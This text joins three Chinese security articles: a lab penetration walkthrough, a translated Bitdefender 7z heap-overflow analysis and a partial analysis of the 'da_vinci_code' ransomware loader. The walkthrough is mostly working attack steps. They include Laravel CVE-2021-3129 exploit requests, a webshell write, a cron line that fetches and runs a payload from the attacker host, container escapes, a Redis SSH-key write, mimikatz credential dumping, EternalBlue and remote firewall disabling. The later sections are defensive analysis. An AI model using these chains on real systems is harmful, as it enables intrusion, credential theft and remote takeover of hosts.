> 组件对file_get_contents()和file_put_contents()函数的不安全使用，攻击者可以通过发起恶意请求，构造恶意Log文件等方式触发Phar反序列化，最终造成远程代码执行。
目标站点的Laravel版本正好在今年刚爆出来的Laravel Debug mode
RCE漏洞（CVE-2021-3129）的范围内，该漏洞的体用可以看我的这一篇文章：[《Laravel Debug mode
RCE（CVE-2021-3129）漏洞复现》](https://whoamianony.top/2021/01/15/漏洞复现/Laravel/Laravel
Debug mode RCE（CVE-2021-3129）利用复现/) ，下面我们尝试进行初步的攻击。
### Laravel Debug mode RCE漏洞利用
（1）首先使用 [phpggc](https://github.com/ambionics/phpggc)
工具生成一条laravel中存在的反序列化利用POC（经过编码后的）：
php -d "phar.readonly=0" ./phpggc Laravel/RCE5 "phpinfo();" --phar phar -o php://output | base64 -w 0 | python -c "import sys;print(''.join(['=' + hex(ord(i))[2:] + '=00' for i in sys.stdin.read()]).upper())"
得到的POC（编码后的）最后面再加一个a，否则最终laravel.log里面将生成两个POC，导致利用失败：
（2）发送如下数据包，将Laravel的原日志文件laravel.log清空：
POST /_ignition/execute-solution HTTP/1.1
Host: 192.168.1.8:81
Content-Type: application/json
Content-Length: 328
{
"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters": {
"variableName": "username",
"viewFile": "php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"
}
}
（3）发送如下数据包，给Log增加一次前缀，用于对齐：
POST /_ignition/execute-solution HTTP/1.1
Host: 192.168.1.8:81
Content-Type: application/json
Content-Length: 163
{
"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters": {
"variableName": "username",
"viewFile": "AA"
}
}
（4）将之前生成的编码后的POC作为viewFile的值，发送数据包：
POST /_ignition/execute-solution HTTP/1.1
Host: 192.168.1.8:81
Content-Type: application/json
Content-Length: 5058
{
"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters": {
"variableName": "username",
"viewFile": "=50=00=44=00=39=00=77=00=61=00=48=00=41=00=67=00=58=00=31=00=39=00=49=00=51=00=55=00=78=00=55=00=58=00=30=00=4E=00=50=00=54=00=56=00=42=00=4A=00=54=00=45=00=......2B=00=57=00=61=00=63=00=4E=00=67=00=49=00=41=00=41=00=41=00=42=00=48=00=51=00=6B=00=31=00=43=00a"
}
}
（5）发送如下数据包，清空对log文件中的干扰字符，只留下POC：
POST /_ignition/execute-solution HTTP/1.1
Host: 192.168.1.8:81
Content-Type: application/json
Content-Length: 299
{
"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters": {
"variableName": "username",
"viewFile": "php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"
}
}
这一步可能会出现异常，导致无法正确清理Log文件。如果出现这种状况，可以重新从第一步开始尝试。
（6）使用 `phar://` 进行反序列化，执行任意代码（此时需要使用绝对路径）：
POST /_ignition/execute-solution HTTP/1.1
Host: 192.168.1.8:81
Content-Type: application/json
Content-Length: 210
{
"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters": {
"variableName": "username",
"viewFile": "phar:///var/www/storage/logs/laravel.log/test.txt"
}
}
如下图所示，PHPINFO已成功执行，漏洞利用成功：
我们可以利用该漏洞写入Webshell：
php -d "phar.readonly=0" ./phpggc Laravel/RCE5 "system('echo PD9waHAgZXZhbCgkX1BPU1Rbd2hvYW1pXSk7Pz4=|base64 -d > /var/www/html/shell.php');" --phar phar -o php://output | base64 -w 0 | python -c "import sys;print(''.join(['=' + hex(ord(i))[2:] + '=00' for i in sys.stdin.read()]).upper())"
重复上述利用步骤后，成功写入webshell并连接成功：
我们在使用蚁剑执行命令时发现目标主机的主机名有点显眼，可能我们那下的shell处于一个容器环境：
使用如下命令进行测试，我们发现我们获得的shell确实运行在一个docker容器内：
cat /proc/self/cgroup
这样好吗，这样不好！下面我们需要docker逃逸来获取目标主机（docker宿主机）的权限。但此时我们所获得的是www-data用户的权限，权限比较低，干不成什么大事，所以要想办法提升一下权限。官方文档中提到了Linux环境变量提权，我们直接使用find命令来搜索具有SUID或4000权限的文件：
find / -perm -u=s -type f 2>/dev/null
通过执行上述命令，攻击者可以遍历任何可执行文件，在这里我们可以看到/home/jobs目录下有一个shell文件，这名字很显眼，并且其具有SUID权限：
于是我们cd到/home/jobs目录下，ls一下，确实看到了名为shell的可执行文件。我们运行一下这个文件：
可以看到shell文件执行了ps命令，并且未使用绝对路径，所以我们可以尝试更改$PATH来执行我们的恶意程序，从而获得目标主机的高权限shell。
首先使用蚁剑反弹一个shell过来，然后在shell中执行如下命令：
cd /tmp
echo "/bin/bash" > ps
chmod 777 ps
echo $PATH
export PATH=/tmp:$PATH # 将/tmp添加到环境变量中，并且先加载执行/tmp里的程序
cd /home/jobs
./shell
# 然后就获得了root权限，可以执行命令了
如上图所示，成功提升为root权限。
之后为了方便，我们可以使用msf生成一个木马，然后上传到目标主机上执行，来获得一个metasploit的meterpreter，具体步骤略。
### 利用Docker runC漏洞逃逸
该漏洞（CVE-2019-5736）是2019年爆出的。在Docker
18.09.2之前的版本中使用的runc版本小于1.0-rc6，其允许攻击者重写宿主机上的runc 二进制文件，攻击者可以在宿主机上以root身份执行命令。
利用该漏洞需要满足以下两个条件之一：
* 由一个攻击者控制的恶意镜像创建
* 攻击者具有某已存在容器的写权限，且可通过docker exec进入。
首先下载攻击脚本： <https://github.com/Frichetten/CVE-2019-5736-PoC>
打开main.go脚本，将脚本中要在目标机上执行的命令修改为反弹shell的命令，IP为攻击机IP，端口为攻击机监听的端口：
执行命令编译生成payload
CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go
将生成的利用程序main上传到目标主机并赋予权限：
接着在攻击机kali上面启动nc监听：
nc -lvp 2333
接着在目标docker上面运行main文件：
此时，只需等待目标机管理员重启该docker容器，payload就会触发。但是由于某些原因，我们手动重启docker后并未收到目标主机的shell。所以我们只能用另一种方法来逃逸。
### Docker 特权模式逃逸
特权模式于版本0.6时被引入Docker，允许容器内的root拥有外部物理机root权限，而此前容器内root用户仅拥有外部物理机普通用户权限。
使用特权模式启动容器，可以获取大量设备文件访问权限。因为当管理员执行docker run
—privileged时，Docker容器将被允许访问主机上的所有设备，并可以执行mount命令进行挂载。
当控制使用特权模式启动的容器时，docker管理员可通过mount命令将外部宿主机磁盘设备挂载进容器内部，获取对整个宿主机的文件读写权限，此外还可以通过写入计划任务等方式在宿主机执行命令。
首先我们现在docker中新建一个/hack目录用来挂在文件：
mkdir /hack
然后 `ls /dev` 看到/dev目录会发现很多设备文件，
我们可以尝试将 /dev/sda1 挂载到/hack目录里：
mount /dev/sda1 /hack
如上图所示挂载成功了，此时我们就可以通过访问容器内部的/hack路径来达到访问整个宿主机的目的
> **在docker容器里挂载一个宿主的本地目录，这样某些容器里输出的文件，就可以在本地目录中打开访问了。**
我们可以通过写入计划任务的方式在宿主机执行metasploit生成的命令。
首先使用metasploit的web_delivery模块生成payload命令：
use exploit/multi/script/web_delivery
set target 6 # 选择目标系统
set payload linux/x64/meterpreter/reverse_tcp
set lhost 192.168.1.7
set lport 4444
exploit
如上图，只要将生成的命令再目标主机上执行，便可以得到目标主机的meterpreter。我们将该命令写入宿主机的计划任务中：
echo '* * * * * wget -qO KdwGEmVm --no-check-certificate http://192.168.1.7:8080/kvMOwncGb; chmod +x KdwGEmVm; ./KdwGEmVm& disown' >> /hack/var/spool/cron/root
如下图，宿主机上线meterpreter：
信息收集可得其系统版本为Ubuntu 14.04。
可怪事来了，我们查看了目标宿主机的网络配置后，仅发现了两个内网的网段“192.168.52.1/24”和“192.168.93.1/24”：
那我们访问的192.168.1.8去哪了？
难道目标网站做了反向代理？先别慌，6379端口不是还有一个redis吗，试试存不存在未授权访问吧。
直接在攻击机上连接192.168.1.8:6379上的redis，竟然成功了，毕竟是靶机，就是简单：
有了redis未授权，那么利用就简单了，我们直接往目标主机上写入SSH公钥。
先在攻击机上生成ssh公钥：
ssh-keygen -t rsa
然后将公钥导入key.txt文件(前后用\n换行，避免和Redis里其他缓存数据混合)，再把key.txt文件内容写入目标主机的redis缓冲里：
(echo -e "\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n") > key.txt
cat key.txt | redis-cli -h 192.168.1.8 -x set xxx
// -x 代表从标准输入读取数据作为该命令的最后一个参数。
然后使用攻击机连接目标机器Redis，分别执行如下命令将ssh公钥写入目标主机：
config set dir /root/.ssh # 设置redis的备份路径为/root/.ssh/
config set dbfilename authorized_keys # 设置保存文件名为authorized_keys
save # 将数据保存在目标服务器硬盘上
写入成功后直接尝试连接：
ssh 192.168.1.8
成功连接目标主机。此时查看目标机网络信息，却发现目标主机的网络连接信息全变了，并且发现了我们刚开始访问的“192.168.1.8”，还有另一个内网IP段“192.168.52.1/24”：
系统发行版本也变为了Ubuntu 18.04.5：
看来目标网站应该是做了反向代理了，也就是说此时拿下的Ubuntu 18主机仅仅提供一个代理服务，真正的Web服务器是之前我们拿下的那台宿主机Ubuntu
14主机。为了证实我们的猜想，我查看了Ubuntu 18上的nginx配置文件：
如上图我们发现了nginx反向代理的标志——“proxy_pass”，可知Ubuntu 18服务器上的nginx把80端口上收到的请求转发给了
<https://whoamianony.top，将81端口上收到的请求转发给了内网第二层网络的Web服务器192.168.52.20，也就是我们之前Getshell的宿主机Ubuntu>
14。
好了，到目前为止我们已经拿下了两台主机：
* DMZ区域的Ubuntu 18：192.168.1.8
* 第二层网络的Ubuntu 14：192.168.52.20
此时，绘制出网络拓扑图如下：
## 内网渗透
### 第二层网络渗透
在DMZ区域Ubuntu 18的meterpreter中添加一个通往192.168.52.1/24网段的路由：
路由转发只能将msfconsole带进内网，而要想将攻击机上的其他攻击程序也带进内网还需要搭建socks代理。我们使用earthworm搭建socks5反向代理服务。
在攻击机上执行如下：
./ew_for_linux64 -s rcsocks -l 1080 -e 1234
在DMZ区域的Ubuntu 18上传ew_for_linux64，并执行如下命令：
./ew_for_linux64 -s rssocks -d 192.168.1.7 -e 1234
然后配置proxychains，将socks5服务器指向127.0.0.1:1080，之后便可以使用proxychains将我们攻击机上的程序代理进第二层网络（192.168.52.1/24）了。
接着，我们使用metasploit的 auxiliary/scanner/discovery/udp_probe 模块来扫描第二层网络中的主机存活：
use auxiliary/scanner/discovery/udp_probe
set rhosts 192.168.52.1-255
set threads 5
run
如上图，发现第二层网络中还有一个主机（192.168.52.30），使用nmap进一步扫描该主机的信息：
proxychains4 nmap -Pn -sT -sV -F -O 192.168.52.30
是一台Windows主机，并且该Windows主机的8080端口上有一个nginx的http服务，在攻击机的浏览器上设置好代理后，成功访问：
是个通达OA，经测试其版本为通达OA
V11.3，该版本存在任意用户登录、文件包含和文件上传等多个漏洞。具体漏洞详情可参考：<https://blog.csdn.net/szgyunyun/article/details/107104288>
下面我们来利用这些漏洞执行命令。首先上传图片马：
如上图上传成功，2102是文件夹名，1811843809|shell.jpg是文件名，要把 | 修改成点。然后利用文件包含漏洞，发送如下请求：
POST /ispirit/interface/gateway.php HTTP/1.1
Host: 192.168.52.30:8080
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: python-requests/2.21.0
Content-Length: 69
Content-Type: application/x-www-form-urlencoded
json={"url":"/general/../../attach/im/2102/1811843809.shell.jpg"}&cmd=whoami
如上图所示，成功执行命令。
之后就是常规操作了，使用metasploit的web_delivery模块生成powershell类型的payload，直接在目标机上执行即可拿下该Windows服务器：
此时，绘制出网络拓扑图如下：
### 内网信息收集
拿下第二层网络中的Windows 7服务器后，接下来我们对目标内网环境进行信息收集，对目标网络有一个初步的了解：
ipconfig /all # 查看本机ip，所在域
systeminfo # 列出系统信息
route print # 打印路由信息
net view # 查看局域网内其他主机名
arp -a # 查看arp缓存
whoami
net start # 查看开启了哪些服务
net share # 查看开启了哪些共享
net config workstation # 查看计算机名、全名、用户名、系统版本、工作站、域、登录域
net user # 查看本机用户列表
net user /domain # 查看域用户
net localgroup administrators # 查看本地管理员组（通常会有域用户）
net view /domain # 查看有几个域
net user 用户名 /domain # 获取指定域用户的信息
net group /domain # 查看域里面的工作组，查看把用户分了多少组（只能在域控上操作）
net group 组名 /domain # 查看域中某工作组
net group "domain admins" /domain # 查看域管理员的名字
net group "domain computers" /domain # 查看域中的其他主机名
net group "domain controllers" /domain # 查看域控制器（可能有多台）
综合上面收集的信息，我们可知，目标网络环境存在一个名为whoamianony.org的域环境，域控制器主机名为DC.whoamianony.org，IP为192.168.93.30，域管理员为Administrator。
### 抓取域用户密码
接着，我们使用meterpreter上的kiwi模块尝试抓取域用户及域管理员的密码：
load kiwi
kiwi_cmd privilege::debug
kiwi_cmd sekurlsa::logonPasswords
成功抓取到域用户bunny和域管理员administrator的凭证：
* bunny：Bunny2021
* administrator：Whoami2021
### 第三层网络渗透
现在第二层网络已经渗透完了，我们继续入侵第三层网络（192.168.93.1/24）。
在第二层网络Windows服务器的meterpreter中添加一个通往192.168.93.1/24网段的路由：
路由转发只能将msfconsole带进内网，而要想将攻击机上的其他攻击程序也带进内网还需要搭建socks代理。我们使用earthworm搭建一个二级socks5代理服务。
首先攻击机上执行如下命令添加一个转接隧道，监听1090端口，并将1090端口收到的代理请求发送给1235端口，执行命令：
./ew_for_linux64 -s lcx_listen -l 1090 -e 1235
然后在第二层网络的Windows服务器上传ew_for_Win.exe，并利用ssocksd方式启动999端口的正向socks代理，执行命令：
ew_for_Win.exe -s ssocksd -l 999
最后，在DMZ区域的Ubuntu 18上传ew_for_linux64并利用lcx_slave方式，将攻击机的1235端口与第二层网络Windows
7的999端口连接起来，执行命令：
./ew_for_linux64 -s lcx_slave -d 192.168.1.7 -e 1235 -f 192.168.52.30 -g 999
然后配置proxychains：
此时，就可以设置proxychains等代理工具，通过访问攻击机的1090端口来使用架设在第二层网络Windows主机上的socks代理服务，来进入第三层网络了。
在第二层网络Windows主机上执行ping命令扫描第三层网络中
接着，我们使用metasploit的 auxiliary/scanner/smb/smb_version
模块（可用来探测Windows主机存活）来扫描第三层网络中的主机存活：
use auxiliary/scanner/smb/smb_version
set rhosts 192.168.93.1-255
set threads 5
run
如上图，发现第三层网络中还有两个Windows主机，分别为DC（192.168.93.30）和PC2（192.168.93.40），使用nmap进一步扫描PC2主机信息：
proxychains4 nmap -Pn -sT -sV 192.168.52.40
没发现什么有用的服务，我们直接打一个“永恒之蓝”试试：
setg Proxies socks5:127.0.0.1:1090
use exploit/windows/smb/ms17_010_eternalblue
set rhosts 192.168.93.40
set payload windows/x64/meterpreter/bind_tcp
set rhost 192.168.93.40
set lport 4444
exploit
好家伙！真不容易。这次竟然成功了：
第四台靶机拿下：
此时，绘制出网络拓扑图如下：
## 进攻域控
现在就剩下域控制器DC了。既然都抓取到域管理员的密码了，那我们直接psexec登陆就得了：
use exploit/windows/smb/psexec
set rhosts 192.168.93.30
set SMBUser administrator
set SMBPass Whoami2021
set payload windows/meterpreter/bind_tcp
set rhost 192.168.93.30
run
失败了，应该是开了防火墙的原因。
没关系，我们已经有了域控的密码了，就可以控制第二层网络的Windows 7远程关闭域控的防火墙了。首先控制第二层网络的Windows
7与域控建立ipc连接：
net use \\192.168.93.30\ipc$ "Whoami2021" /user:"Administrator"
然后执行如下命令，使用sc远程在域制器（192.168.93.30）上创建服务关闭防火墙：
sc \\192.168.93.30 create unablefirewall binpath= "netsh advfirewall set allprofiles state off"
sc \\192.168.93.30 start unablefirewall
再次尝试执行 exploit/windows/smb/psexec 模块即可成功登录：
成功拿下域控：
到现在为止，三层网络结构中的五台主机已经全部拿下了：
途中session断了好几次，差点气的吐血。
## 权限维持
太晚了，持久化就先不写了。。。
## Ending......
2021年2月26日 04:29
魔怔了，直接玩上瘾了，一夜没睡。
夜已深，靶场打完了，从最初的信息收集、外网初探、攻入内网、搭建代理，横向移动，到最终拿下了域控。但整个靶场所涉及的漏洞点我并没有全部测试，为什么呢？因为我要睡觉。。。。。。 | 社区文章 |
# 【漏洞分析】7z的LZMA压缩算法与Bitdefender的堆缓冲区溢出漏洞
|
##### 译文声明
本文是翻译文章，文章来源：landave.io
原文地址：<https://landave.io/2017/08/bitdefender-heap-buffer-overflow-via-7z-lzma/#fn:1>
译文仅供参考，具体内容表达以及含义原文为准。
****
****
译者：[WisFree](http://bobao.360.cn/member/contribute?uid=2606963099)
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**
**
**写在前面的话**
前段时间，我们曾发表过一篇关于利用7z 的PPMD压缩算法触发Bitdefender栈缓冲区溢出的技术文章 **【**[
**参考文章**](https://landave.io/2017/07/bitdefender-remote-stack-buffer-overflow-via-7z-ppmd/) **】**
。而就在该文章发表的几天之后，我又在Bitdefender的产品中发现了一个新的安全漏洞。虽然这同样是一个7z漏洞，但是这个漏洞与之前所发现的那个漏洞以及PPMD编码解码器都没有任何的关系。实际上，这个漏洞涉及到了动态内存管理方面的问题。需要注意的是，在此之前我们也发表过一篇文章来描述F-Secure反病毒产品中的一个任意释放漏洞 **【**[ **参考文章**](https://landave.io/2017/08/f-secure-anti-virus-arbitrary-free-vulnerability-via-tnef/) **】**
，但是今天的这篇文章是本系列中第一篇介绍堆缓冲区溢出漏洞的文章。
**漏洞介绍**
此前，为了写好那篇关于7z
PPMD压缩算法漏洞的文章，我阅读了大量的7-Zip源代码，然后从中发现了很多非常有价值的信息（这些信息可以更好地帮助我分析反病毒产品中的漏洞）。因此，我准备利用我手中所掌握的这些信息来分析一下Bitdefender的7z模块。
我之前曾写过一篇关于简化文件处理过程的文章，而Bitdefender 7z
PPMD压缩算法的栈缓冲区溢出漏洞也是一个通过移除检测机制（实际上是移除了负责进行检测的相关源码）来简化文件处理流程的绝佳例子。
除此之外，这个漏洞也证明了有的时候向已存在的代码中添加新的代码是有多么的困难。但是一般来说，代码的修改永远都是不可避免的，哪怕是只修改其中的一小部分那也是需要考虑非常多因素的，如果考虑不周全的话，则很有可能会影响程序的内存分配以及文件访问的管理。而本文所要介绍的漏洞就是一个很好的例子，因为程序不正当地使用了内存分配函数并进一步导致Bitdefender的7z模块（7-Zip源代码）引起堆缓冲区溢出。
**漏洞细节分析**
当Bitdefender的7z模块在一份7z压缩文档中发现了一个EncodedHeader时，它会尝试使用LZMA解码器进行解压。该模块的代码似乎是基于7-Zip的源码进行开发的，但是Bitdefender的开发人员对代码进行了一些修改。
注：EncodedHeader的作用是在一份压缩文档中包含超过一个文件时对多个header进行压缩。关于7z文件格式的更多内容可以从7-Zip源码包中的DOC/7zFormat.txt中获取
**【**[
**传送门**](https://sourceforge.net/projects/sevenzip/files/7-Zip/17.00/7z1700-src.7z/download)
**】** 。
简单来说，提取7z EncodedHeader的实现过程大致如下：
1.从7z EncodedHeader中读取unpackSize；
2.分配unpackSize字节数据；
3.使用7-Zip自带的LZMA解码器的C API来解码流数据；
下面给出的代码段显示了分配函数的调用过程：
1DD02A845FA lea rcx, [rdi+128h] //<-------- result
1DD02A84601 mov rbx, [rdi+168h]
1DD02A84608 mov [rsp+128h], rsi
1DD02A84610 mov rsi, [rax+10h]
1DD02A84614 mov [rsp+0E0h], r15
1DD02A8461C mov edx, [rsi] //<-------- size
1DD02A8461E call SZ_AllocBuffer
大家可以先回忆一下x64架构的[ **函数调用惯例**](https://docs.microsoft.com/en-us/cpp/build/register-usage) 。实际上在这个代码段中，前两个整形参数是通过rcx和rdx传递的。
SZ_AllocBuffer是Bitdefender的7z模块中的一个函数，这个函数可以接受两个参数：
**第一个参数result是一个指针，这个指针指向的是保存结果的内存地址。**
**第二个参数size则是待分配的内存空间大小。**
接下来，让我们一起看一看该函数的代码实现：
260ED3025D0 SZ_AllocBuffer proc near
260ED3025D0
260ED3025D0 mov [rsp+8], rbx
260ED3025D5 push rdi
260ED3025D6 sub rsp, 20h
260ED3025DA mov rbx, rcx
260ED3025DD mov edi, edx //<-------- edi holds size
260ED3025DF mov rcx, [rcx]
260ED3025E2 test rcx, rcx
260ED3025E5 jz short loc_260ED3025EC
260ED3025E7 call near ptr irrelevant_function
260ED3025EC
260ED3025EC loc_260ED3025EC:
260ED3025EC cmp edi, 0FFFFFFFFh //<------- {*}
260ED3025EF jbe short loc_260ED302606
260ED3025F1 xor ecx, ecx
260ED3025F3 mov [rbx], rcx
260ED3025F6 mov eax, ecx
260ED3025F8 mov [rbx+8], ecx
260ED3025FB mov rbx, [rsp+30h]
260ED302600 add rsp, 20h
260ED302604 pop rdi
260ED302605 retn
260ED302606 ; ------------------------------------ 260ED302606
260ED302606 loc_260ED302606:
260ED302606 mov rcx, rdi //<------ set size argument for mymalloc
260ED302609 call mymalloc
//[rest of the function omitted]
请注意其中的mymalloc函数，这是一个封装函数，它最终会调用malloc并返回处理结果。很明显，开发人员希望SZ_ALLocBuffer函数的size参数大小至少要32位以上，而这就是一个32位的值。
细心的同学可能已经发现了，编译器并没有成功地对上述代码中{*}所标注的地方（负责进行参数比较）进行优化。考虑到这里的比较结果还需要进行无符号比较（jbe），这就非常有意思了。
在SZ_AllocBuffer返回了处理结果之后，函数LzmaDecode将会被调用：
LzmaDecode(Byte *dest, SizeT *destLen, const Byte *src, SizeT *srcLen, /* further arguments omitted */)
需要注意的是，dest是SZ_AllocBuffer函数分配的一个缓冲区，而destLen应该是一个指向缓冲区大小的指针。
在引用实现中，SizeT被定义成了size_t。有趣的是，Bitdefender的7z模块同时使用了32位和64位版本的SizeT，而这两个版本都存在安全漏洞。我怀疑Bitdefender的开发人员这样做的目的是为了给32位和64位引擎提供不同的功能行为而设计的。
接下来，LZMA解码器会提取出参数中给定的src流数据，然后将*destLen字节数据写入到dest缓冲区中，其中的*destLen是7z
EncodedHeader中的一个64位unpackSize，而最终的结果就是一个堆缓冲区溢出漏洞。
**触发漏洞**
为了触发这个漏洞，我们所创建的7z LZMA流数据中包含了我们需要写入堆内存中的数据。接下来，我们构建了一个7z
EncodedHeader（unpackSize大小为(1<<32) +
1），这样应该可以让函数SZ_AllocBuffer分配一个大小为一个字节的缓冲区空间了。
这听起来貌似非常的不错，但是这真的会有用吗?
0:000> g !Heap block at 1F091472D40 modified at 1F091472D51 past requested size of 1 (2f8.14ec): Break instruction exception - code 80000003 (first chance) ntdll!RtlpNtMakeTemporaryKey+0x435e: 00007ff9`d849c4ce cc int 3 0:000> db 1F091472D51 000001f0`91472d51 59 45 53 2c 20 54 48 49-53 20 57 4f 52 4b 53 ab YES, THIS WORKS.
**攻击者如何控制并利用该漏洞？**
攻击者可以在完全不受任何限制的情况下向堆内存中写入任意数据。一个文件系统的过滤器可以用来扫描所有需要存放在本地磁盘上的文件，而这将导致攻击者能够轻松地远程利用这个漏洞，例如攻击者可以通过向目标用户发送一封包含了特殊附件的恶意邮件来发动攻击。
除此之外，该引擎并不在沙盒环境中运行，而且正常的运行权限为NT
AuthoritySYSTEM。因此，这个漏洞就是一个影响非常严重的高危漏洞了。但是，由于Bitdefender采用了ASLR和DEP，所以如果攻击者想要成功地利用该漏洞实现远程代码执行的话，则需要其他漏洞（例如信息披露漏洞）的配合来绕过ALSR才可以。
还需要注意的是，很多不同的反病毒厂商都在使用Bitdefender的引擎，因此这个安全漏洞的影响范围将会非常的大。
**漏洞修复**
数修复后的SZ_AllocBuffer函数代码如下所示：
1E0CEA52AE0 SZ_AllocBuffer proc near
1E0CEA52AE0
1E0CEA52AE0 mov [rsp+8], rbx
1E0CEA52AE5 mov [rsp+10h], rsi
1E0CEA52AEA push rdi
1E0CEA52AEB sub rsp, 20h
1E0CEA52AEF mov esi, 0FFFFFFFFh
1E0CEA52AF4 mov rdi, rdx //<-----rdi holds the size
1E0CEA52AF7 mov rbx, rcx
1E0CEA52AFA cmp rdx, rsi //<------------{1}
1E0CEA52AFD jbe short loc_1E0CEA52B11
1E0CEA52AFF xor eax, eax
1E0CEA52B01 mov rbx, [rsp+30h]
1E0CEA52B06 mov rsi, [rsp+38h]
1E0CEA52B0B add rsp, 20h
1E0CEA52B0F pop rdi
1E0CEA52B10 retn
1E0CEA52B11 ; ----------------------------------- 1E0CEA52B11
1E0CEA52B11 loc_1E0CEA52B11:
1E0CEA52B11 mov rcx, [rcx]
1E0CEA52B14 test rcx, rcx
1E0CEA52B17 jz short loc_1E0CEA52B1E
1E0CEA52B19 call near ptr irrelevant_function
1E0CEA52B1E
1E0CEA52B1E loc_1E0CEA52B1E:
1E0CEA52B1E cmp edi, esi //<------------{2}
1E0CEA52B20 jbe short loc_1E0CEA52B29
1E0CEA52B22 xor ecx, ecx
1E0CEA52B24 mov [rbx], rcx
1E0CEA52B27 jmp short loc_1E0CEA52B3B
1E0CEA52B29 ; ----------------------------------- 1E0CEA52B29
1E0CEA52B29 loc_1E0CEA52B29:
1E0CEA52B29 mov ecx, edi
1E0CEA52B2B call near ptr mymalloc
//[rest of the function omitted]
更重要的是，我们可以看到该函数的第二个参数size已经被改成了64位类型。请注意{1}标注的部分，代码所执行的检测能够确保传递的size值不超过0xFFFFFFFF。
在标注了{2}的部分，rdi的值最大为0xFFFFFFFF，而这已经足够去使用32位寄存器edi了，但是在原始版本的代码中并没有这样的检测功能。
因此，只需要保证第二个参数size使用的是64位版本即可修复这个漏洞。
**总结**
简单来说，此次发现的这个漏洞是因为64位的size值被传递给了内存分配函数SZ_AllocBuffer所导致的：
void* SZ_AllocBuffer(void *resultptr, uint32_t size);
如果size值不符合预定义的话，那么编译器应该要抛出如下所示的警告信息：
warning C4244: 'argument': conversion from 'uint64_t' to 'uint32_t', possible loss of data
不过对于一款反病毒引擎而言，这种漏洞确实影响非常严重。但是这也足以证明，我们只需要向一个成熟的代码库中添加几行外部代码，就有可能导致一个严重的漏洞出现。
**漏洞时间轴**
2017年7月24日：发现漏洞
2017年7月24日：报告漏洞
2017年7月24日：Bitdefender回复称：“感谢提交漏洞报告，我们会立刻进行调查，并在第一时间给予回复。”
2017年8月22日：漏洞信息已确认，并成功修复了该漏洞。
2017年??月??日：漏洞奖金到手？？
**致谢**
在这里我想感谢Bitdefender（尤其是Marius），感谢他们能够友好并迅速地给我回复，并及时修复了这个漏洞。
**参考资料**
1.<https://landave.io/2017/07/bitdefender-remote-stack-buffer-overflow-via-7z-ppmd/>
2.[https://landave.io/2017/08/f-secure-anti-virus-arbitrary-free-vulnerability-via-tnef/](https://landave.io/2017/08/f-secure-anti-virus-arbitrary-free-vulnerability-via-tnef/)
3.[https://sourceforge.net/projects/sevenzip/files/7-Zip/17.00/7z1700-src.7z/download](https://sourceforge.net/projects/sevenzip/files/7-Zip/17.00/7z1700-src.7z/download)
4.[https://news.ycombinator.com/item?id=15075242](https://news.ycombinator.com/item?id=15075242)
5.[https://www.reddit.com/r/netsec/comments/6vajy2/bitdefender_antivirus_heap_buffer_overflow_via_7z/](https://www.reddit.com/r/netsec/comments/6vajy2/bitdefender_antivirus_heap_buffer_overflow_via_7z/) | 社区文章 |
# 【木马分析】揭秘达芬奇密码 – 新型敲诈者分析
|
##### 译文声明
本文是翻译文章，文章来源：360安全卫士
译文仅供参考，具体内容表达以及含义原文为准。
****
**0x00 前言**
达芬奇密码（.
da_vinci_code）敲诈者是今年下半年刚出现的一款敲诈者木马，最早出现在国外的报道，并未影响国内用户。但自今年九月开始，360白名单分析组发现该木马在国内开始出现并逐步活跃，而且还出现了多个变种。由于此类敲诈者木马会将你所有的文档、文件和图片等个人生活与工作的重要数据通通加密保存，如果你不在48小时内通过暗网支付比特币赎金，你的重要数据将永久被加密保存，并且该变种频繁更新，一旦在国内爆发会带来巨大危害。
图1下半年截止到10月22号捕获的达芬奇密码敲诈者部分变种
感染达芬奇密码敲诈者后，电脑中文档，压缩包，图片等文件均遭到加密，并修改文件后缀为“da_vinci_code”，并在每个磁盘目录和桌面下生成10个README.txt。图2显示的是感染达芬奇密码敲诈者后的桌面截图。
图2达芬奇密码敲诈者感染后的桌面
README.txt主要内容如下：
图3达芬奇密码敲诈者提示用户信息
**0x01 基本流程**
达芬奇密码敲诈者的功能主要分为安装包解密，ShellCode执行，勒索者本体三部分。大致的过程如下图所示：
图4达芬奇密码敲诈者恶意代码流程
**0x02 安装包解密**
**2.1 利用nsis脚本的IntOp和IntFmt函数拼接出System.dll::Call的调用参数，然后调用Call来执行。**
图5 NSIS脚本内容
执行的主要函数如下：
kernel32::CreateFileW(t '', i 0x80000000, i 0x7, i 0, i 3, i 0x80, i 0) i .r7
kernel32::VirtualAlloc(i 0, i , i 0x3000, i 0x40) p .r8
kernel32::ReadFile(i r7, p r8, i , t.,)
kernel32::CloseHandle(i r7)::(t '')
**2.2 Call执行功能**
kernel32::CreateFileW打开"C:DOCUME~1ADMINI~1LOCALS~1Temp
Ggm0KQEbU4UcJiEbNYAXOTz.jsiDbvtAQ8jS"
图6创建ShellCode解码文件
kernel32::VirtualAlloc申请一段空间,大小为0xCC84D
图7申请固定大小空间
kernel32::ReadFile读取Ggm0KQEbU4UcJiEbNYAXOTz.jsiDbvtAQ8jS文件至新申请的空间
图8读ShellCode解码文件
kernel32::CloseHandle关闭句柄，然后跳转新申请的空间去执行ShellCode。
**0x03 ShellCode执行**
解出勒索者本体
**3.1 双层异或算法解密出执行代码**
图9 ShellCode解密部分
图10 ShellCode解密算法
**3.2 动态获取API并利用INT 2E调用相关API**
通过API名字的hash值获取函数地址：
图11获取函数地址
获取的具体函数如下:
图12获取函数列表
利用INT 2E调用相关API：
图13利用INT 2E调用相关API
**3.3 解出勒索者本体**
图14 Shellcode执行部分
图15 解密勒索本体过程
从Ggm0KQEbU4UcJiEbNYAXOTz.jsiDbvtAQ8jS的偏移0x35处读取0xC7360字节的数据进行AES256解密。
